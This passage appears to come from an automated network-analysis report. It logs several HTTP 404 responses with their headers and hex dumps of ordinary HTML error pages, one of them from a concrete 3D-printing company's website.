1a 5e 0c d0 55 59 1a 1d 7c aa c3 32 b9 95 be c2 73 2b ef af 77 60 f2 eb ca fb 0b 52 c5 38 cf 4f 2e 1f be e6 6b d2 ff cc 9d 29 c6 79 9e 5c e6 79 32 ce f3 3b ad e0 ec be 5d 78 0a a5 e2 41 ea e4 dc db 60 b4 0d c9 5a 52 d0 bc 21 4f 24 c5 ce 22 ed 8e f5 3c a3 19 77 24 af 0a 00 0b 23 ba 44 6a db 86 64 d0 be 17 49 10 68 1b b8 23 3e 5c e3 25 c1 68 ec 3a 34 2b a6 f6 10 cc 9d 89 13 c4 66 4f 48 6c fe 58 cb 49 37 93 3d 32 86 87 80 76 02 4d 13 c4 4f 8c 0e b8 5f f4 c7 c4 39 9e 38 a2 18 8e 86 fc 00 58 04 c3 5e da 6d ae 37 57 0f 93 7a 94 d4 67 49 3d 4e ea f3 a4 be e0 67 da fb 0b 52 ac 50 88 47 cf b1 63 ae 34 ad 1a cb 7a 7f ce ab eb 47 73 a0 36 8d 31 c2 2f ec a2 82 67 04 47 c3 bb f9 55 3e 84 78 96 a2 60 1b 5a fc 95 81 95 e1 05 99 55 bc a2 da 28 41 8e b4 f7 13 b5 57 7d e4 09 f2 93 04 77 f3 93 01 d8 89 6f cc 7f a0 fd 03 58 e3 69 e3 84 94 ca ca e8 62 e7 43 b6 09 e7 4a d5 9c 56 6a b8 54 bd 5f 49 b2 7d 12 68 1b 7a bf 68 18 31 bb 03 1c 1a a0 dd 60 37 4e 00 ff e2 26 a2 9a 92 1a 06 77 b2 Data Ascii: c36,'d0lCz
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33x-litespeed-tag: afb_HTTP.404content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache; privatex-litespeed-cache-control: no-cachetransfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Wed, 05 Jun 2024 16:27:50 GMTserver: LiteSpeedData Raw: 63 33 35 0d 0a 80 90 02 80 f8 9f d9 ec 7f ef aa 2c f6 a7 c9 60 e8 67 d9 86 40 06 83 49 8f 43 7a 1a d3 c2 ba 60 a5 65 49 4f 92 01 7f 8a aa bf d8 ff c5 62 f7 ef 5d eb 15 b2 42 d9 0a 9f 64 22 f6 ee 13 e2 64 92 a3 bd fd 44 d8 56 31 3d 5f a5 00 50 c8 1a d9 1a 5b a1 fa 18 d3 fb da 49 39 8a 08 d4 ca 66 62 04 5c 64 7e 10 1d 44 b3 3a 34 6a 00 ab 37 2a 7b a4 d9 a7 0f bd f9 41 04 00 7b 88 e3 df ec ba c1 0d 85 83 e6 2f f5 14 ca de 96 e0 e9 34 35 34 6f a8 ec 89 90 5f 8f 48 d8 b6 7a 40 49 50 a7 04 9b 7f 6f cc 7c c5 15 95 c3 1e 51 6e 4c 60 83 f6 b5 3f 3c 7e 0b c6 e6 ed f8 b0 0f cf ee 3f bb ff 04 a7 8f 76 68 a6 60 36 60 f1 f7 79 68 74 e5 28 10 4e 1f e1 da 49 1d a4 5e e1 49 ab 54 87 e7 3a d0 ca f1 40 02 ef cd c2 04 59 e1 43 e7 03 35 be 97 cd 0f 46 a4 9a 68 56 40 93 b3 34 0e 0a e3 bc 09 56 c6 ac 14 59 d5 7a 12 59 3a b5 86 d9 37 a6 45 92 cf e1 6b 32 fd 59 2c 68 d0 0c 6e 9d 02 ff 4d aa 43 b0 be c8 32 5f f3 9a 2f 4f 45 5a 99 86 40 9b d0 f2 e0 66 31 bd e9 21 8b 89 72 25 d1 65 67 1b cb 80 5e 37 6b ad 32 5c f8 6c 94 8f 4e b3 fc 22 6d 31 3b 15 ac 2a 83 68 66 3f f0 91 2c ba 32 f9 3d d7 1d c6 10 36 32 04 72 35 85 2b 84 4b a3 48 b1 b8 a8 b8 13 ec 1f ea db a6 e1 ae bb 39 c8 49 d7 0d c5 4e b2 ec 1e 57 26 91 eb 0f fc 26 28 f3 de 37 c1 d4 df 50 41 cb 2b a9 ff 42 3b d1 0b 6b 8c b0 82 ce 9e 5c 35 96 dd b3 06 9b 32 6f 8c 66 2a 12 7a 12 39 b0 d9 49 c2 6c 74 87 7e 9c ab 75 39 4e 87 e9 30 bf fd 6d 40 d6 1d fd df 5c a9 de 9c ca 9c ca fb 6c 17 24 17 09 94 36 52 a7 95 f7 98 11 a2 bb f2 45 96 55 42 df fa b4 52 a6 15 4b c5 1d d5 42 10 be d9 16 e5 e0 2d ae c1 37 e4 4d 43 d9 24 1d 8e d3 1c 41 ac 52 c0 35 bc 18 a0 ab b2 34 3a f8 54 87 65 72 2b 7d 85 e7 56 de 5f ed c0 e4 d7 95 f7 17 a4 8a 71 9e 1f 9f 3f 7c cd d7 a4 ff b9 76 a6 18 e7 79 72 9e e7 c9 38 cf ef b4 82 b3 fb 76 e1 29 94 8a 07 a9 93 73 6f 83 d1 36 24 6b 49 41 f3 86 3c 91 14 3b 8f b4 3b d6 f3 8c 66 dc 91 bc 2a 00 2c 8c e8 12 a9 6d 1b 92 41 fb 5e 24 41 a0 6d e0 8e f8 70 8d 97 04 a3 b1 eb d0 ac 98 da 43 70 ed 4c 9c 20 36 7b 42 62 f3 c7 5a 4e ba 99 ee 91 31 3c 04 b4 13 68 9a 20 7e 62 74 c0 fd a2 3f 26 26 78 e2 88 62 38 1a f2 03 60 11 0c 7b 6e b7 b9 de 5c 3d 4c ea 51 52 9f 26 f5 38 a9 27 49 7d c6 cf b4 f7 17 a4 58 a1 10 8f 9e 63 c7 5c 69 5a 35 96 f5 fe 9c 57 d7 8f e6 40 6d 1a 63 84 5f d8 45 05 cf 08 0e 87 97 f9 45 3e 84 78 96 a2 60 1b 5a fc 95 81 95 e1 05 99 55 bc a2 da 28 41 8e b4 f7 13 b5 57 7d e4 09 f2 e3 04 97 f9 f1 00 ec c4 37 e6 3f d0 fe 01 ac f1 b4 71 42 4a 65 65 74 b1 f3 21 db 84 73 a5 6a 4e 2b 35 5c aa de af 24 d9 3e 09 b4 0d bd 5f 34 8c 98 dd 05 0e 0d d0 6e b0 1b 27 80 7f 71 13 51 4d 49 0d 83 bb 59 Data Ascii: c35,`g@ICz
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache; privatex-litespeed-cache-control: public,max-age=3600x-litespeed-tag: afb_HTTP.404,afb_404,afb_URL.bb612978f523fb6348e4e3107ed53975,afb_x-litespeed-cache: misstransfer-encoding: chunkeddate: Wed, 05 Jun 2024 16:27:53 GMTserver: LiteSpeedData Raw: 32 39 62 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 53 45 4f 20 2d 2d 3e 0d 0a 3c 74 69 74 6c 65 3e 53 48 41 48 41 46 20 33 44 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6e 63 72 65 74 65 20 33 44 20 50 72 69 6e 74 69 6e 67 20 46 75 6c 6c 79 20 49 6e 74 65 67 72 61 74 65 64 20 52 6f 62 6f 74 69 63 20 53 79 73 74 65 6d 73 22 2f 3e 0d 0a 3c 21 2d 2d 20 6f 67 20 6d 65 74 61 20 66 6f 72 20 66 61 63 65 62 6f 6f 6b 2c 20 67 6f 6f 67 6c 65 70 6c 75 73 20 2d 2d 3e 0d 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 53 48 41 48 41 46 20 33 44 22 2f 3e 0d 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6e 63 72 65 74 65 20 33 44 20 50 72 69 6e 74 69 6e 67 20 46 75 6c 6c 79 20 49 6e 74 65 67 72 61 74 65 64 20 52 6f 62 6f 74 69 63 20 53 79 73 74 65 6d 73 22 2f 3e 0d 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 68 61 68 61 66 33 64 2e 63 6f 6d 22 2f 3e 0d 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 68 61 68 61 66 33 64 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 38 2f 73 68 61 68 61 66 2d 33 64 2d 63 6f 6e 63 72 65 74 65 2d 70 72 69 6e 74 69 6e 67 2e 6a 70 67 22 2f 3e 0d 0a 0d 0a 3c 21 2d 2d 20 74 77 69 74 74 65 72 20 6d 65 74 61 20 2d 2d 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 2f 3e 0d 0a 3c 6d Data Ascii: 29b1<!DOCTYPE html><html lang="en-US"> <head> <meta charset="UTF-8"> <meta name="viewport" cont
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:28:22 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:28:25 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:28:27 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeCache-Control: private, no-cache, no-store, must-revalidate, max-age=0Pragma: no-cacheContent-Type: text/htmlContent-Length: 1236Date: Wed, 05 Jun 2024 16:28:56 GMTServer: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeCache-Control: private, no-cache, no-store, must-revalidate, max-age=0Pragma: no-cacheContent-Type: text/htmlContent-Length: 1236Date: Wed, 05 Jun 2024 16:28:58 GMTServer: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 